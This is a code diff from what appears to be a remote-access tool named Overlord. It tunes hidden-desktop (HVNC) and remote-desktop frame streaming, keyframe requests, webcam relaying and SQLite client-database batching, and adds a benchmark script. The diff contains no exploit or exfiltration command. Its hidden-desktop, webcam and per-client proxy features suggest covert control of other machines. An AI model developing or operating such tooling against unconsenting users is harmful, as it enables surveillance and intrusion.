diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 9c77924..a347639 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -622,6 +622,19 @@ func ResetPrevHVNC() { resetH264EncoderHVNC() } +func RequestDesktopFullFrame() { + requestFullFrames(2) + RequestDesktopH264Keyframe() +} + +func RequestHVNCFullFrame() { + hvncPrevMu.Lock() + hvncPrevFrame = nil + hvncPrevMu.Unlock() + hvncLastKeyframe.Store(0) + resetH264EncoderHVNC() +} + func jpegQuality() int { if q := overrideQuality.Load(); q > 0 { @@ -1612,12 +1625,15 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error { willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) var slotAcquired bool if !willSendViaWebRTC && !AcquireFrameSlot() { + PutRGBA(img) return nil } slotAcquired = !willSendViaWebRTC quality := jpegQuality() frame, encodeDur, err := buildFrameHVNC(img, display, quality) + PutRGBA(img) + img = nil if err != nil { if slotAcquired { ReleaseFrameSlot() diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index b09cc91..bf1cf4f 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -798,8 +798,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_request_keyframe": - log.Printf("desktop: request h264 keyframe") - capture.RequestDesktopH264Keyframe() + log.Printf("desktop: request full frame") + capture.RequestDesktopFullFrame() sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_set_resolution": @@ -1158,6 +1158,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.SetQualityAndCodec(quality, codec) sendCommandResultSafe(env, cmdID, true, "") return nil + case "hvnc_request_keyframe": + log.Printf("hvnc: request full frame") + capture.RequestHVNCFullFrame() + sendCommandResultSafe(env, cmdID, true, "") + return nil case "hvnc_mouse_move": if !env.HVNCMouseControl { sendCommandResultSafe(env, cmdID, true, "") diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index 64dbebc..4e025ff 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -15,6 +15,7 @@ "build:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --minify", "watch:css": "tailwindcss -i ./src/styles.css -o ./public/assets/tailwind.css --watch", "minify": "bun run scripts/minify-public.ts", + "bench:client-db": "bun run scripts/client-db-stress.ts", "typecheck": "tsc --noEmit" }, "dependencies": { diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 8c9d153..cf24fd7 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -104,6 +104,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s let streamState = "connecting"; let frameWatchTimer = null; let offlineTimer = null; + let frameDecodeBusy = false; + let pendingFrame = null; + let hasCanvasBase = false; let pendingMove = null; let moveTimer = null; let videoDecoder = null; @@ -1116,126 +1119,166 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s }); } - async function onWsMessage(ev) { + function isFramePacket(buf) { + return buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d; + } + + function markFrameReceived() { + lastFrameAt = performance.now(); + clearOfflineTimer(); + if (streamState !== "streaming") { + desiredStreaming = true; + setStreamState("streaming", "Streaming"); + } + } + + function drawJpegFallback(blob, target) { + return new Promise((resolve) => { + const img = new Image(); + const url = URL.createObjectURL(blob); + img.onload = function () { + if (target) { + ctx.drawImage(img, target.x, target.y, target.w, target.h); + } else { + canvas.width = img.width; + canvas.height = img.height; + ctx.drawImage(img, 0, 0); + } + URL.revokeObjectURL(url); + resolve(true); + }; + img.onerror = function () { + URL.revokeObjectURL(url); + resolve(false); + }; + img.src = url; + }); + } + + async function drawJpegSlice(slice, target) { + const blob = new Blob([slice], { type: "image/jpeg" }); + try { + const bitmap = await createImageBitmap(blob); + if (target) { + ctx.drawImage(bitmap, target.x, target.y, target.w, target.h); + } else { + canvas.width = bitmap.width; + canvas.height = bitmap.height; + ctx.drawImage(bitmap, 0, 0); + } + bitmap.close(); + return true; + } catch { + return drawJpegFallback(blob, target); + } + } + + async function processFrameBuffer(buf) { + const fps = buf[5]; + const format = buf[6]; + + if (format === 1) { + setCodecModeLabel("jpeg", "active"); + await drawJpegSlice(buf.slice(8), null); + hasCanvasBase = true; + updateFpsDisplay(fps); + return; + } + + if (format === 2 || format === 3) { + setCodecModeLabel(format === 3 ? "raw" : "jpeg", "blocks"); + if (buf.length < 16) return; + const dv = new DataView(buf.buffer, 8); + let pos = 0; + const width = dv.getUint16(pos, true); + pos += 2; + const height = dv.getUint16(pos, true); + pos += 2; + const blockCount = dv.getUint16(pos, true); + pos += 4; + + if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) { + canvas.width = width; + canvas.height = height; + hasCanvasBase = false; + } + if (blockCount > 0 && !hasCanvasBase) { + sendCmd("hvnc_request_keyframe", { reason: "viewer_missing_base" }); + return; + } + + for (let i = 0; i < blockCount; i++) { + if (pos + 12 > dv.byteLength) break; + const x = dv.getUint16(pos, true); + pos += 2; + const y = dv.getUint16(pos, true); + pos += 2; + const w = dv.getUint16(pos, true); + pos += 2; + const h = dv.getUint16(pos, true); + pos += 2; + const len = dv.getUint32(pos, true); + pos += 4; + const start = 8 + pos; + const end = start + len; + if (end > buf.length) break; + const slice = buf.subarray(start, end); + pos += len; + if (format === 2) { + await drawJpegSlice(slice, { x, y, w, h }); + } else if (slice.length === w * h * 4) { + const imgData = new ImageData(new Uint8ClampedArray(slice), w, h); + ctx.putImageData(imgData, x, y); + } + } + updateFpsDisplay(fps); + return; + } + + if (format === 4) { + setCodecModeLabel("h264", "active"); + const h264Bytes = buf.slice(8); + if (!h264Bytes.length) return; + if (!ensureVideoDecoder()) { + fallbackToJpegCodec("WebCodecs decoder unavailable"); + return; + } + const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25)); + const chunk = new EncodedVideoChunk({ + type: isH264KeyFrame(h264Bytes) ? "key" : "delta", + timestamp: h264TimestampUs, + data: h264Bytes, + }); + h264TimestampUs += frameIntervalUs; + try { + videoDecoder.decode(chunk); + updateFpsDisplay(fps); + } catch (err) { + console.warn("hvnc: h264 decode failed", err); + fallbackToJpegCodec(err); + } + } + } + + function flushPendingFrame() { + if (frameDecodeBusy || !pendingFrame) return; + const next = pendingFrame; + pendingFrame = null; + frameDecodeBusy = true; + processFrameBuffer(next).finally(() => { + frameDecodeBusy = false; + if (pendingFrame) flushPendingFrame(); + }); + } + + function onWsMessage(ev) { if (ev.data instanceof ArrayBuffer) { const buf = new Uint8Array(ev.data); - if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) { - const fps = buf[5]; - const format = buf[6]; - lastFrameAt = performance.now(); - clearOfflineTimer(); - if (streamState !== "streaming") { - desiredStreaming = true; - setStreamState("streaming", "Streaming"); - } - - if (format === 1) { - const jpegBytes = buf.slice(8); - setCodecModeLabel("jpeg", "active"); - const blob = new Blob([jpegBytes], { type: "image/jpeg" }); - try { - const bitmap = await createImageBitmap(blob); - canvas.width = bitmap.width; - canvas.height = bitmap.height; - ctx.drawImage(bitmap, 0, 0); - bitmap.close(); - updateFpsDisplay(fps); - } catch { - const img = new Image(); - const url = URL.createObjectURL(blob); - img.onload = function () { - canvas.width = img.width; - canvas.height = img.height; - ctx.drawImage(img, 0, 0); - URL.revokeObjectURL(url); - updateFpsDisplay(fps); - }; - img.src = url; - } - return; - } - - if (format === 2 || format === 3) { - setCodecModeLabel(format === 3 ? "raw" : "jpeg", "blocks"); - if (buf.length < 8 + 8) return; - const dv = new DataView(buf.buffer, 8); - let pos = 0; - const width = dv.getUint16(pos, true); - pos += 2; - const height = dv.getUint16(pos, true); - pos += 2; - const blockCount = dv.getUint16(pos, true); - pos += 2; - pos += 2; - - if ( - width > 0 && - height > 0 && - (canvas.width !== width || canvas.height !== height) - ) { - canvas.width = width; - canvas.height = height; - } - for (let i = 0; i < blockCount; i++) { - if (pos + 12 > dv.byteLength) break; - const x = dv.getUint16(pos, true); - pos += 2; - const y = dv.getUint16(pos, true); - pos += 2; - const w = dv.getUint16(pos, true); - pos += 2; - const h = dv.getUint16(pos, true); - pos += 2; - const len = dv.getUint32(pos, true); - pos += 4; - const start = 8 + pos; - const end = start + len; - if (end > buf.length) break; - const slice = buf.subarray(start, end); - pos += len; - if (format === 2) { - try { - const bitmap = await createImageBitmap( - new Blob([slice], { type: "image/jpeg" }), - ); - ctx.drawImage(bitmap, x, y, w, h); - bitmap.close(); - } catch {} - } else { - if (slice.length === w * h * 4) { - const imgData = new ImageData(new Uint8ClampedArray(slice), w, h); - ctx.putImageData(imgData, x, y); - } - } - } - updateFpsDisplay(fps); - return; - } - - if (format === 4) { - setCodecModeLabel("h264", "active"); - const h264Bytes = buf.slice(8); - if (!h264Bytes.length) return; - if (!ensureVideoDecoder()) { - fallbackToJpegCodec("WebCodecs decoder unavailable"); - return; - } - const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25)); - const chunk = new EncodedVideoChunk({ - type: isH264KeyFrame(h264Bytes) ? "key" : "delta", - timestamp: h264TimestampUs, - data: h264Bytes, - }); - h264TimestampUs += frameIntervalUs; - try { - videoDecoder.decode(chunk); - updateFpsDisplay(fps); - } catch (err) { - console.warn("hvnc: h264 decode failed", err); - fallbackToJpegCodec(err); - } - return; - } + if (isFramePacket(buf)) { + markFrameReceived(); + pendingFrame = buf; + flushPendingFrame(); + return; } const msg = decodeMsgpack(buf); diff --git a/Overlord-Server/scripts/client-db-stress.ts b/Overlord-Server/scripts/client-db-stress.ts new file mode 100644 index 0000000..3df431a --- /dev/null +++ b/Overlord-Server/scripts/client-db-stress.ts @@ -0,0 +1,279 @@ +import { existsSync, mkdirSync, rmSync, statSync } from "fs"; +import path from "path"; + +type Scenario = "legacy-immediate" | "batched"; + +type Options = { + clients: number; + batchSizes: number[]; + reads: boolean; + keep: boolean; + worker: boolean; + mode: Scenario; + batchSize: number; + dataDir?: string; +}; + +type Result = { + mode: Scenario; + clients: number; + batchSize: number; + reads: boolean; + durationMs: number; + clientsPerSecond: number; + writeTransactions: number; + rowCount: number; + dbBytes: number; + walBytes: number; + shmBytes: number; + dataDir: string; +}; + +function argValue(name: string): string | undefined { + const prefix = `--${name}=`; + const direct = process.argv.find((arg) => arg.startsWith(prefix)); + if (direct) return direct.slice(prefix.length); + const index = process.argv.indexOf(`--${name}`); + if (index >= 0) return process.argv[index + 1]; + return undefined; +} + +function hasArg(name: string): boolean { + return process.argv.includes(`--${name}`); +} + +function parsePositiveInt(raw: string | undefined, fallback: number): number { + if (!raw) return fallback; + const value = Number(raw); + if (!Number.isFinite(value) || value < 1) return fallback; + return Math.floor(value); +} + +function parseOptions(): Options { + const batchRaw = argValue("batch-sizes") || argValue("batch-size") || "500,1000"; + const batchSizes = batchRaw + .split(",") + .map((part) => parsePositiveInt(part.trim(), 0)) + .filter((value) => value > 0); + const mode = (argValue("mode") || "batched") as Scenario; + + return { + clients: parsePositiveInt(argValue("clients"), 10_000), + batchSizes: batchSizes.length > 0 ? batchSizes : [500], + reads: argValue("reads") !== "false", + keep: hasArg("keep"), + worker: hasArg("worker"), + mode: mode === "legacy-immediate" ? "legacy-immediate" : "batched", + batchSize: parsePositiveInt(argValue("batch-size"), 500), + dataDir: argValue("data-dir"), + }; +} + +function makeClientRow(index: number, now: number) { + const id = `bench-client-${String(index).padStart(7, "0")}`; + return { + id, + hwid: `bench-hwid-${String(index).padStart(7, "0")}`, + role: "client", + ip: `10.${(index >> 16) & 255}.${(index >> 8) & 255}.${index & 255}`, + host: `bench-host-${index}`, + os: index % 3 === 0 ? "Windows 11" : index % 3 === 1 ? "Windows 10" : "Linux", + arch: "amd64", + version: "bench", + user: `bench-user-${index % 1000}`, + monitors: 1 + (index % 4), + country: "US", + cpu: "bench-cpu", + gpu: "bench-gpu", + ram: "16 GB", + publicKey: `bench-public-key-${String(index).padStart(7, "0")}`, + keyFingerprint: `bench-fingerprint-${String(index).padStart(7, "0")}`, + enrollmentStatus: "approved", + online: 1, + lastSeen: now + index, + pingMs: index % 250, + isAdmin: false, + }; +} + +function fileSize(filePath: string): number { + try { + return statSync(filePath).size; + } catch { + return 0; + } +} + +function printTable(results: Result[]): void { + const rows = results.map((result) => ({ + mode: result.mode, + clients: String(result.clients), + batch: String(result.batchSize), + reads: result.reads ? "yes" : "no", + ms: result.durationMs.toFixed(1), + perSec: result.clientsPerSecond.toFixed(0), + tx: String(result.writeTransactions), + dbMB: (result.dbBytes / 1024 / 1024).toFixed(1), + walMB: (result.walBytes / 1024 / 1024).toFixed(1), + })); + + const headers = ["mode", "clients", "batch", "reads", "ms", "perSec", "tx", "dbMB", "walMB"]; + const widths = headers.map((header) => + Math.max(header.length, ...rows.map((row) => row[header as keyof typeof row].length)), + ); + const line = headers.map((header, i) => header.padEnd(widths[i])).join(" "); + console.log(line); + console.log(widths.map((width) => "-".repeat(width)).join(" ")); + for (const row of rows) { + console.log(headers.map((header, i) => row[header as keyof typeof row].padEnd(widths[i])).join(" ")); + } +} + +async function runWorker(options: Options): Promise { + if (!options.dataDir) { + throw new Error("--data-dir is required in worker mode"); + } + process.env.DATA_DIR = options.dataDir; + process.env.NODE_ENV = "test"; + process.env.OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE = String(options.batchSize); + + const repo = await import("../src/db/repositories"); + const { db, dbPath } = await import("../src/db/connection"); + const startedAt = performance.now(); + const now = Date.now(); + let writeTransactions = 0; + + if (options.mode === "legacy-immediate") { + for (let index = 0; index < options.clients; index += 1) { + const row = makeClientRow(index, now); + if (options.reads) { + repo.lookupClientByPublicKey(row.publicKey); + repo.getClientPublicKeyById(row.id); + repo.clientExists(row.id); + } + repo.upsertClientRows([row]); + writeTransactions += 1; + } + } else { + let batch: ReturnType[] = []; + for (let index = 0; index < options.clients; index += 1) { + const row = makeClientRow(index, now); + if (options.reads) { + repo.lookupClientByPublicKey(row.publicKey); + repo.getClientPublicKeyById(row.id); + repo.clientExists(row.id); + } + batch.push(row); + if (batch.length >= options.batchSize) { + repo.upsertClientRows(batch); + writeTransactions += 1; + batch = []; + } + } + if (batch.length > 0) { + repo.upsertClientRows(batch); + writeTransactions += 1; + } + } + + const durationMs = performance.now() - startedAt; + const row = db.query<{ count: number }>("SELECT COUNT(*) as count FROM clients").get(); + const result: Result = { + mode: options.mode, + clients: options.clients, + batchSize: options.mode === "legacy-immediate" ? 1 : options.batchSize, + reads: options.reads, + durationMs, + clientsPerSecond: options.clients / (durationMs / 1000), + writeTransactions, + rowCount: Number(row?.count || 0), + dbBytes: fileSize(dbPath), + walBytes: fileSize(`${dbPath}-wal`), + shmBytes: fileSize(`${dbPath}-shm`), + dataDir: options.dataDir, + }; + + console.log(JSON.stringify(result)); +} + +function runScenario(mode: Scenario, batchSize: number, options: Options, rootDir: string): Result { + const dataDir = path.join(rootDir, `${mode}-${batchSize}`); + if (existsSync(dataDir)) { + rmSync(dataDir, { recursive: true, force: true }); + } + mkdirSync(dataDir, { recursive: true }); + + const args = [ + "run", + import.meta.path, + "--worker", + `--mode=${mode}`, + `--clients=${options.clients}`, + `--batch-size=${batchSize}`, + `--data-dir=${dataDir}`, + `--reads=${options.reads ? "true" : "false"}`, + ]; + const child = Bun.spawnSync({ + cmd: [process.execPath, ...args], + cwd: process.cwd(), + env: { ...process.env, DATA_DIR: dataDir, NODE_ENV: "test" }, + stdout: "pipe", + stderr: "pipe", + }); + + const stdout = child.stdout.toString().trim(); + const stderr = child.stderr.toString().trim(); + if (child.exitCode !== 0) { + if (stdout) console.log(stdout); + if (stderr) console.error(stderr); + throw new Error(`${mode} failed with exit code ${child.exitCode}`); + } + if (stderr) { + const interesting = stderr + .split(/\r?\n/) + .filter((line) => line.trim() && !line.includes("Cannot read file \"C:\\\"")); + if (interesting.length > 0) console.error(interesting.join("\n")); + } + + const jsonLine = stdout + .split(/\r?\n/) + .reverse() + .find((line) => line.trim().startsWith("{")); + if (!jsonLine) { + throw new Error(`No result JSON found for ${mode}. Output:\n${stdout}`); + } + return JSON.parse(jsonLine) as Result; +} + +async function main(): Promise { + const options = parseOptions(); + if (options.worker) { + await runWorker(options); + return; + } + + const rootDir = path.resolve(options.dataDir || path.join(process.cwd(), ".bench-data", `client-db-${Date.now()}`)); + mkdirSync(rootDir, { recursive: true }); + + const results: Result[] = []; + try { + results.push(runScenario("legacy-immediate", 1, options, rootDir)); + for (const batchSize of options.batchSizes) { + results.push(runScenario("batched", batchSize, options, rootDir)); + } + printTable(results); + console.log(""); + console.log(JSON.stringify(results, null, 2)); + } finally { + if (!options.keep && existsSync(rootDir)) { + rmSync(rootDir, { recursive: true, force: true }); + } else { + console.log(`Kept benchmark data at ${rootDir}`); + } + } +} + +main().catch((err) => { + console.error(err); + process.exit(1); +}); diff --git a/Overlord-Server/src/client-db-sync.ts b/Overlord-Server/src/client-db-sync.ts index ffbda52..f32bbdd 100644 --- a/Overlord-Server/src/client-db-sync.ts +++ b/Overlord-Server/src/client-db-sync.ts @@ -4,7 +4,11 @@ import { metrics } from "./metrics"; export const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000); export const CLIENT_DB_SYNC_BATCH_SIZE = Math.max( 1, - Number(process.env.OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE || 100), + Number(process.env.OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE || 500), +); +export const CLIENT_DB_SYNC_FLUSH_DELAY_MS = Math.max( + 1, + Number(process.env.OVERLORD_CLIENT_DB_SYNC_FLUSH_DELAY_MS || 100), ); const lastClientDbSync = new Map(); @@ -27,6 +31,14 @@ export function queueClientDbUpdate(partial: ClientDbRow): void { }); } +export function scheduleQueuedClientDbFlush(delayMs = CLIENT_DB_SYNC_FLUSH_DELAY_MS): void { + if (pendingClientDbUpdates.size === 0 || flushSoonTimer) return; + flushSoonTimer = setTimeout(() => { + flushSoonTimer = null; + flushQueuedClientDbUpdates(); + }, Math.max(1, Math.floor(delayMs))); +} + export function flushQueuedClientDbUpdates(): void { if (pendingClientDbUpdates.size === 0) return; @@ -43,11 +55,8 @@ export function flushQueuedClientDbUpdates(): void { } upsertClientRows(updates); - if (pendingClientDbUpdates.size > 0 && !flushSoonTimer) { - flushSoonTimer = setTimeout(() => { - flushSoonTimer = null; - flushQueuedClientDbUpdates(); - }, 25); + if (pendingClientDbUpdates.size > 0) { + scheduleQueuedClientDbFlush(25); } metrics.recordInternalTask("client-db-flush", Date.now() - startedAt); } diff --git a/Overlord-Server/src/db/connection.ts b/Overlord-Server/src/db/connection.ts index 45e4e64..e52c87d 100644 --- a/Overlord-Server/src/db/connection.ts +++ b/Overlord-Server/src/db/connection.ts @@ -13,4 +13,37 @@ const dataDir = ensureDataDir(); export const dbPath = resolve(dataDir, "overlord.db"); export const db: TypedDatabase = new Database(dbPath) as any; +function numberPragmaEnv(name: string, fallback: number, min: number): number { + const raw = process.env[name]; + if (raw === undefined || raw === "") return fallback; + const value = Number(raw); + if (!Number.isFinite(value) || value < min) return fallback; + return Math.floor(value); +} + +function synchronousPragmaEnv(): string { + const raw = String(process.env.OVERLORD_SQLITE_SYNCHRONOUS || "NORMAL").toUpperCase(); + if (raw === "OFF" || raw === "NORMAL" || raw === "FULL" || raw === "EXTRA") { + return raw; + } + return "NORMAL"; +} + +function applyPragma(sql: string): void { + try { + db.exec(sql); + } catch (err) { + console.warn(`[db] Failed to apply ${sql}:`, err); + } +} + +applyPragma("PRAGMA journal_mode = WAL"); +applyPragma(`PRAGMA synchronous = ${synchronousPragmaEnv()}`); +applyPragma(`PRAGMA busy_timeout = ${numberPragmaEnv("OVERLORD_SQLITE_BUSY_TIMEOUT_MS", 5000, 0)}`); +applyPragma("PRAGMA temp_store = MEMORY"); +applyPragma(`PRAGMA cache_size = ${numberPragmaEnv("OVERLORD_SQLITE_CACHE_SIZE_KB", 32768, 1024) * -1}`); +applyPragma(`PRAGMA mmap_size = ${numberPragmaEnv("OVERLORD_SQLITE_MMAP_SIZE_BYTES", 268435456, 0)}`); +applyPragma(`PRAGMA wal_autocheckpoint = ${numberPragmaEnv("OVERLORD_SQLITE_WAL_AUTOCHECKPOINT", 4000, 1)}`); +applyPragma(`PRAGMA journal_size_limit = ${numberPragmaEnv("OVERLORD_SQLITE_JOURNAL_SIZE_LIMIT_BYTES", 67108864, 0)}`); + console.log(`[db] Using database at: ${dbPath}`); diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts index 463469e..7120932 100644 --- a/Overlord-Server/src/db/schema.ts +++ b/Overlord-Server/src/db/schema.ts @@ -100,6 +100,9 @@ db.run( db.run( `CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`, ); +db.run( + `CREATE INDEX IF NOT EXISTS idx_clients_hwid ON clients(hwid);`, +); db.run( `CREATE INDEX IF NOT EXISTS idx_clients_key_fingerprint ON clients(key_fingerprint);`, ); diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 913597e..72ab076 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -18,7 +18,7 @@ import * as sessionManager from "../../sessions/sessionManager"; import type { SocketData } from "../../sessions/types"; import type { ClientInfo } from "../../types"; import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers"; -import { flushQueuedClientDbUpdates, queueClientDbUpdate } from "../../client-db-sync"; +import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync"; import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation"; import { stopAllProxiesForClient } from "../socks5-proxy-manager"; import { verifyBuildToken, isBuildBanned } from "../build-signing"; @@ -668,7 +668,7 @@ export async function handleWebSocketMessage( } await handleHello(infoObj, payload as Hello, ws, ip); - flushQueuedClientDbUpdates(); + scheduleQueuedClientDbFlush(); clientManager.addClient(infoObj.id, infoObj); clearThumbnail(resolvedId); @@ -748,8 +748,9 @@ export async function handleWebSocketMessage( } } } - handleFrame(client, payload); - try { ws.send(encodeMessage({ type: "frame_ack" })); } catch {} + if (handleFrame(client, payload)) { + try { ws.send(encodeMessage({ type: "frame_ack" })); } catch {} + } break; case "screenshot_result": deps.handleNotificationScreenshotResult(client.id, payload); diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 2187322..a28ad53 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -129,18 +129,28 @@ function getCaptureDllBytes(): Uint8Array | null { const VIEWER_BACKPRESSURE_BYTES = 2 * 1024 * 1024; // 2 MB +type FrameBroadcastResult = { + sent: boolean; + dropped: boolean; + viewers: number; +}; + function broadcastFrameToViewers( sessions: Iterable<{ viewer: ServerWebSocket }>, buf: Uint8Array, header?: any, -): boolean { +): FrameBroadcastResult { let sent = false; + let dropped = false; + let viewers = 0; const t0 = performance.now(); const byteLen = buf.length; for (const session of sessions) { + viewers += 1; try { const buffered = session.viewer.getBufferedAmount?.() ?? 0; if (buffered > VIEWER_BACKPRESSURE_BYTES) { + dropped = true; continue; } session.viewer.send(buf); @@ -157,7 +167,7 @@ function broadcastFrameToViewers( rdSendStats.sendMs += elapsed; } logRdSend(header); - return sent; + return { sent, dropped, viewers }; } const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 }; @@ -734,8 +744,17 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header recordRemoteDesktopFrame(clientId, header, bytes); const buf = buildViewerFrameBuffer(bytes, header); const sessions = sessionManager.getRdSessionsForClient(clientId); - const sent = broadcastFrameToViewers(sessions, buf, header); - return sent; + const result = broadcastFrameToViewers(sessions, buf, header); + if (result.dropped) { + const target = clientManager.getClient(clientId); + if (target) { + sendDesktopCommand(target, "desktop_request_keyframe", { + reason: "viewer_backpressure", + format: String(header?.format || ""), + }); + } + } + return result.sent || result.viewers === 0; } (globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { @@ -1174,6 +1193,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st } break; } + case "hvnc_request_keyframe": + if (state.isStreaming) { + sendHVNCCommand(target, "hvnc_request_keyframe", { + reason: String((payload as any).reason || "viewer_request"), + }); + } + break; case "hvnc_set_fps": { const newMaxFps = clampDesktopFps((payload as any).fps); if (state.maxFps !== newMaxFps) { @@ -1375,12 +1401,23 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload } hvncStreamingState.set(clientId, state); const buf = buildViewerFrameBuffer(bytes, header); - return broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header); + const result = broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header); + if (result.dropped) { + const target = clientManager.getClient(clientId); + if (target) { + sendHVNCCommand(target, "hvnc_request_keyframe", { + reason: "viewer_backpressure", + format: String(header?.format || ""), + }); + } + } + return result.sent || result.viewers === 0; }; (globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { const buf = buildViewerFrameBuffer(bytes, header); - return broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header); + const result = broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header); + return result.sent || result.viewers === 0; }; export function handleConsoleViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index a038f3f..d1bdc93 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -231,7 +231,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) { } } -export function handleFrame(info: ClientInfo, payload: any) { +export function handleFrame(info: ClientInfo, payload: any): boolean { const bytes = payload.data as unknown as Uint8Array; const header = (payload as any).header; const allowedFormats = ["jpeg", "jpg", "webp"]; @@ -240,28 +240,19 @@ export function handleFrame(info: ClientInfo, payload: any) { metrics.recordBytesReceived(bytes.length); - let sentToViewers = false; + let handledByViewerRelay = false; try { const globalAny: any = globalThis as any; if (header?.webcam) { if (globalAny.__webcamBroadcast) { - sentToViewers = globalAny.__webcamBroadcast(info.id, bytes, header); - } - if (sentToViewers) { - return; + handledByViewerRelay = globalAny.__webcamBroadcast(info.id, bytes, header); } } else if (header?.hvnc) { if (globalAny.__hvncBroadcast) { - sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header); - } - if (sentToViewers) { - return; + handledByViewerRelay = globalAny.__hvncBroadcast(info.id, bytes, header); } } else if (globalAny.__rdBroadcast) { - sentToViewers = globalAny.__rdBroadcast(info.id, bytes, header); - if (sentToViewers) { - return; - } + handledByViewerRelay = globalAny.__rdBroadcast(info.id, bytes, header); } } catch {} @@ -280,4 +271,5 @@ export function handleFrame(info: ClientInfo, payload: any) { queueClientDbUpdate({ id: info.id, lastSeen: now, online: 1, isAdmin: info.isAdmin }); } } + return handledByViewerRelay || safeFormat !== ""; }